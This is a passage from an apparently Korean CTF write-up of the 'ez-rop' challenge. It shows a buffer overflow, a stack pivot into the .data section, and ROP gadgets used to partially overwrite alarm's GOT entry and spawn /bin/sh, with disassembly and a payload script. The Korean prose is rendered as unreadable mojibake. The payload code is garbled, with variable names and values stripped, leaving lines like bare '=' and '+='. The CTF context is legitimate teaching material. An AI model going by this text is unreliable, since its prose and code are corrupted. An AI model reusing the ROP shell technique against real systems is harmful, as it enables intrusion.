CyberSpace CTF 2024 - ez-rop
๋ชฉ์ฐจ
0x00. Introduction
)
0x01. Vulnerability
char *
๋จ์ํ BOF๊ฐ ๋ฐ์ํ์ง๋ง s๋ฅผ ์ฑ์ฐ๋ ๋ฐ์ 0x60 ๋ฐ์ดํธ๋ฅผ ์ฌ์ฉํด์ผ ํ๋ฏ๋ก return ์ดํ์ ๊ตฌ์ฑํ ์ ์๋ stack์ด ๊ฑฐ์ ์๋ค.
0x02. Exploit
Fake Stack
์ทจ์ฝ์ ์ ์ด์ฉํด์ ๋น์ฅ rip๋ฅผ controlํด๋ ํ ์ ์๋ ๊ฒ์ด ์๊ธฐ ๋๋ฌธ์, payload๋ฅผ ๊ตฌ์ฑํ ์ ์๋ ์์ญ์ ์ฐพ์๋ณด์๋ค.
[ | |
PIE๊ฐ ๊บผ์ ธ์๊ธฐ ๋๋ฌธ์ DATA ์์ญ์ธ 0x404000 ์์ญ์ ์ฃผ์๊ฐ ๊ณ ์ ๋์ด์๋ค. sub_401192()๊ฐ ์ข
๋ฃ๋ ๋ leave; ret์ ํ๋ฏ๋ก, ๋์ถฉ ์ค๊ฐ์ฏค์ธ 0x404800์ sfp์ ๋ฃ์ด๋๋ฉด rsp๋ฅผ ํด๋น ๊ฐ์ผ๋ก ์กฐ์ํ ์ ์๋ค.
์ด์ rsp๋ฅผ ์
๋ ฅ์ ๋ฐ๋ ํจ์์ ์ธ์๋ก ์ ๋ฌํด์ผ ํ๋๋ฐ, ์ธ๋งํ ๊ฐ์ ฏ์ด ์์๋ค. ๋์ fgets๋ก ์
๋ ฅ์ ๋ฐ๋ ๊ณผ์ ์์ rdi์ ๊ฐ์ด rax, rbp๋ฅผ ํตํด ์ค์ ๋๋ค๋ ๊ฒ์ ์ด์ฉํด์ ๊ฐ์ ์ ๋ฌํ ์ ์์๋ค.
.text:0000000000401192 push rbp
.text:0000000000401193 mov rbp, rsp
.text:0000000000401196 sub rsp, 60h
.text:000000000040119A mov rdx, cs:stdin ; stream
.text:00000000004011A1 lea rax, [rbp-60h]
.text:00000000004011A5 mov esi, 74h ; 't' ; n
.text:00000000004011AA mov rdi, rax ; s
.text:00000000004011AD call _fgets
.text:00000000004011B2 xor rdx, rdx
.text:00000000004011B5 nop
.text:00000000004011B6 leave
.text:00000000004011B7 retn
๋ฐ๋ผ์ payload๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ์๋ค.
# fgets(0x4047a0, 0x74, stdin)
= b * 0x60
+= # rbp = 0x404800
+= # middle of fgets
+= b # dummy
Return Oriented Programming
์ด์ payload๋ฅผ ์ด์ฉํด์ ์์ ๋์ฐ๋ฉด ๋๋๋ฐ, pop ๊ฐ์ ฏ์ด ๋ง์ง ์์ IDA๋ก ํ์ธํด๋ณด๋ ์ธ๋งํ ๊ฐ์ ฏ์ ์ญ์ ํ๊ณ ๋ค์ ๋ค ๊ฐ์ ฏ์ ์ด์ฉํ ๋ฌธ์ ํด๊ฒฐ์ ์๋ํ ๊ฒ ๊ฐ์๋ค.
# mov rdi, rsi gadget
.text:0000000000401156 push rbp
.text:0000000000401157 mov rbp, rsp
.text:000000000040115A mov rdi, rsi
.text:000000000040115D retn
# pop rbp gadget
.text:000000000040115F pop rbp
.text:0000000000401160 retn
# pop rsi gadget
.text:0000000000401161 push rbp
.text:0000000000401162 mov rbp, rsp
.text:0000000000401165 pop rsi
.text:0000000000401166 retn
# read(0, buf, 8) gadget
.text:000000000040116A push rbp
.text:000000000040116B mov rbp, rsp
.text:000000000040116E sub rsp, 10h
.text:0000000000401172 lea rax, [rbp-8h]
.text:0000000000401176 mov edx, 8 ; nbytes
.text:000000000040117B mov rsi, rax ; buf
.text:000000000040117E mov edi, 0 ; fd
.text:0000000000401183 call _read
.text:0000000000401188 xor rdx, rdx
.text:000000000040118B xor rax, rax
.text:000000000040118E retn
ํน์ดํ๊ฒ read ๊ฐ์ ฏ์ด ์์๋๋ฐ, fgets์ ๋น์ทํ๊ฒ rbp ๊ฐ์์ 8์ ๋บ ๊ฐ์ด rax๋ฅผ ํตํด rsi๋ก ์ ๋ฌ๋๋ค. rbp๋ pop rbp ๊ฐ์ ฏ์ ์ด์ฉํ์ฌ ์์ ๋กญ๊ฒ ๊ฐ์ ์ค์ ํ ์ ์์ผ๋ lea rax, [rbp-8h] instruction์ ๊ฐ์ํด์ ์
๋ ฅ๋ฐ์ ์ฃผ์์ 8์ ๋ํด์ rbp ๊ฐ์ ์ค์ ํ๋ฉด ๋๋ค.
์ด ๋ ์ค์ ํด๋ rsp ๊ฐ์ ๋ณ๊ฒฝ์ํค์ง ์๊ธฐ ์ํด read ๊ฐ์ ฏ์ ์ค๊ฐ์ธ 0x401172 ์ฃผ์๋ก ๋ฐ๋ก ๋ฐ๋๋ก payload๋ฅผ ๊ตฌ์ฑํ๋ค.
# read(0, alarm.got, 8) ; alarm.got = 0x404008
# rdi = 0, rsi = alarm.got, rdx = 8
= # alarm.got + 8
+= # middle of read
์ฌ๊ธฐ์์ alarm์ GOT์ ๊ฐ์ ์ฐ๊ธฐ๋ก ํ๋๋ฐ, libc๋ฅผ leakํ๊ธฐ ์ํ ์ถ๋ ฅ ํจ์๊ฐ ํ๋๋ ์๊ธฐ ๋๋ฌธ์ execve์ ๊ฐ์ฅ ๊ฐ๊น์ด ํจ์๋ฅผ ์ฐพ์ partial overwrite๋ฅผ ํ๊ธฐ ์ํจ์ด๋ค. ๊ฐ์ฅ ๊ฐ๊น๋ค๋ ๊ฒ์ offset ์ฐจ์ด๊ฐ ๊ฐ์ฅ ์กฐ๊ธ ๋๋ค๋ ๊ฒ์ด๊ณ , ๊ฐ๊น์ด ํจ์์ GOT๋ฅผ ๋ฎ์ด ์ด ๊ฒ์ aslr์ ์ํ exploit ํ๋ฅ ์ ์ต๋ํ ๋์ผ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
์ดํ์๋ execve ํจ์ ์ธ์๋ฅผ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด "/bin/sh\x00"๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ ์จ๋๊ณ ๊ฐ์ ฏ์ ์ด์ฉํด ์ ๋ฌํ๋ ๊ณผ์ ๋ง ์ํํด์ฃผ๋ฉด ๋๋ค.
# read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
= 0x401168
+=
+= # 0x404900 + 8
+=
# execve("/bin/sh", 0, 0)
# rdi = 0x404900, rsi = 0, rdx = 0
= 0x40115a
= 0x401165
+=
+=
+=
+=
+= b *
+=
+=
+= b
์ง๊ธ ์๊ฐํด๋ณด๋ fgets ์ ๋ง์ง๋ง์ ๋จ๋ 3๋ฐ์ดํธ์ sh;๋ฅผ ๋ฃ๊ณ ๊ทธ ์ฃผ์๋ฅผ ์คฌ์ด๋ ๋ ๊ฒ ๊ฐ๋ค.
0x03. Payload
=
=
=
=
= f
=
=
=
=
=
=
# fgets(0x4047a0, 0x74, stdin)
= b * 0x60
+= # rbp = 0x404800
+= # middle of fgets
+= b # dummy
# read(0, alarm.got, 8) ; alarm.got = 0x404008
# rdi = 0, rsi = alarm.got, rdx = 8
= # alarm.got + 8
+= # middle of read
# read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
= 0x401168
+=
+= # 0x404900 + 8
+=
# execve("/bin/sh", 0, 0)
# rdi = 0x404900, rsi = 0, rdx = 0
= 0x40115a
= 0x401165
+=
+=
+=
+=
+= b *
+=
+=
+= b
# read(0, alarm.got, 8)
= b
# payload = b"\x80\x50"
# read(0, 0x404900, 8)
= b
=
=